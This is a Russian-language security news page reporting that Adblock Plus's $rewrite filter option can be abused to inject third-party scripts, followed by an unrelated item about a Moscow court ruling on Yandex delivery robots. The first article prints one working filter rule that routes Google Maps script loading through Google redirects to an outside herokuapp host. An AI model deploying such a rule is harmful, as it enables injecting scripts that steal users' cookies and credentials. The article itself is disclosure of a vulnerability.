Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Новый эксплойт, недавно обнаруженный экспертом в области кибербезопасности, способен использовать фильтры популярных блокировщиков рекламы Adblock Plus, AdBlock и uBlocker для инъекции сторонних скриптов в код страниц веб-сайтов.

Adblock Plus, AdBlock и uBlocker представляют собой специальные расширения для браузеров, помогающие пользователям скрывать надоедливую и агрессивную рекламу со страниц ресурсов.

База пользователей этих блокировщиков насчитывает более 10 миллионов человек. Таким образом, если злоумышленнику удастся внедрить вредоносные скрипты, он получит возможность красть файлы cookie, учетные данные, а также осуществлять нужные ему редиректы.

Работа блокировщиков рекламы завязана на использовании списка URL, на которых был отмечен рекламный контент или даже вредоносное поведение. Тот же Adblock Plus, например, запрещает браузеру подключаться к этим ссылкам, следовательно, рекламные скрипты не в состоянии загрузиться.

Вся проблема кроется в опции списка фильтров под названием $rewrite, которая была представлена в 2018 году (в Adblocker Plus 3.2). Эта функция позволяет разработчику подменить запрос, совпадающий с определенным регулярным выражением, другим URL.

Единственное условие — заменяемая строка должна быть относительным URL-адресом. Таким образом, если запрос для example.com/ad.gif заменить на example.com/puppies.gif, пользователь вместо рекламы увидит картинку с милыми щенками.

При этом разработчики предусмотрели защиту, запретив запросы вида SCRIPT, SUBDOCUMENT, OBJECT и OBJECT_SUBREQUEST — с ними эта функция не будет работать.

Однако исследователь Армин Себастьян нашел способ, позволяющий создать правило, благодаря которому сторонний скрипт можно встроить в контент конкретного сайта.

Для этого потребуется найти ресурс, который допускает загрузку скриптов со сторонних доменов, а также использует XMLHttpRequest или Fetch для загрузки скриптов. Сам Себастьян довольно быстро нашел такой ресурс — он использовал Google Maps для демонстрации уязвимости.

Google Maps использует XMLHttpRequest для загрузки скриптов, что позволило эксперту воспользоваться функцией фильтров $rewrite для задействования скрипта со стороннего домена. Пример:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

Если пользователь в этом случае посетит google[.]com/maps/, фильтр использует редиректы Google для считывания контента с majestic-ramsons.herokuapp[.]com/.

ГАИ проиграла суд против роботов-доставщиков

Московский городской суд отклонил жалобу ГАИ на решение суда первой инстанции, который не усмотрел в действиях роботов-доставщиков состава административного правонарушения, связанного с нарушением Правил дорожного движения. Ранее ГАИ обвинило дочернюю компанию Яндекса — «Рободоставку» — в нарушении ПДД.

Поводом для разбирательства стало происшествие 7 марта, когда инспектор ГАИ счёл, что робот-доставщик, передвигавшийся по тротуару, создаёт помехи пешеходам.

По мнению инспектора, это подпадало под статью 12.33 КоАП РФ. Компании «Рободоставка» в этом случае грозил штраф в размере 300 тыс. рублей.

Представители Яндекса с такой трактовкой не согласились, указав, что в действиях роботов-доставщиков отсутствует и не может присутствовать умысел. Дело было рассмотрено в Мещанском районном суде Москвы, который поддержал позицию компании.

«Роботы-доставщики не относятся к транспортным средствам, определённым нормами действующего законодательства. Как следует из видеозаписи, робот-доставщик передвигался по краю тротуара, не перекрывая пешеходную зону, автоматически останавливался при приближении людей. Пешеходы продолжали движение. Контакта, вынужденного сближения, опасных манёвров или остановок зафиксировано не было. Следовательно, объективных признаков угрозы безопасности дорожного движения не имелось», — такую выдержку из решения суда приводит Autonews.

ГАИ с таким решением не согласилась и подала жалобу в Московский городской суд. Однако Мосгорсуд оставил её без удовлетворения. Решение было принято ещё 5 февраля, но опубликовано только вечером 9 февраля.

«Мы работаем над тем, чтобы роботы-доставщики безопасно и корректно интегрировались в городскую среду и городскую инфраструктуру в рамках экспериментального правового режима, а также находимся в постоянном взаимодействии с профильными ведомствами. Подобные кейсы помогают формировать и развивать понятные правила использования автономных устройств в городе по мере накопления практического опыта», — прокомментировали судебное решение в Яндексе.

RSS: Новости на портале Anti-Malware.ru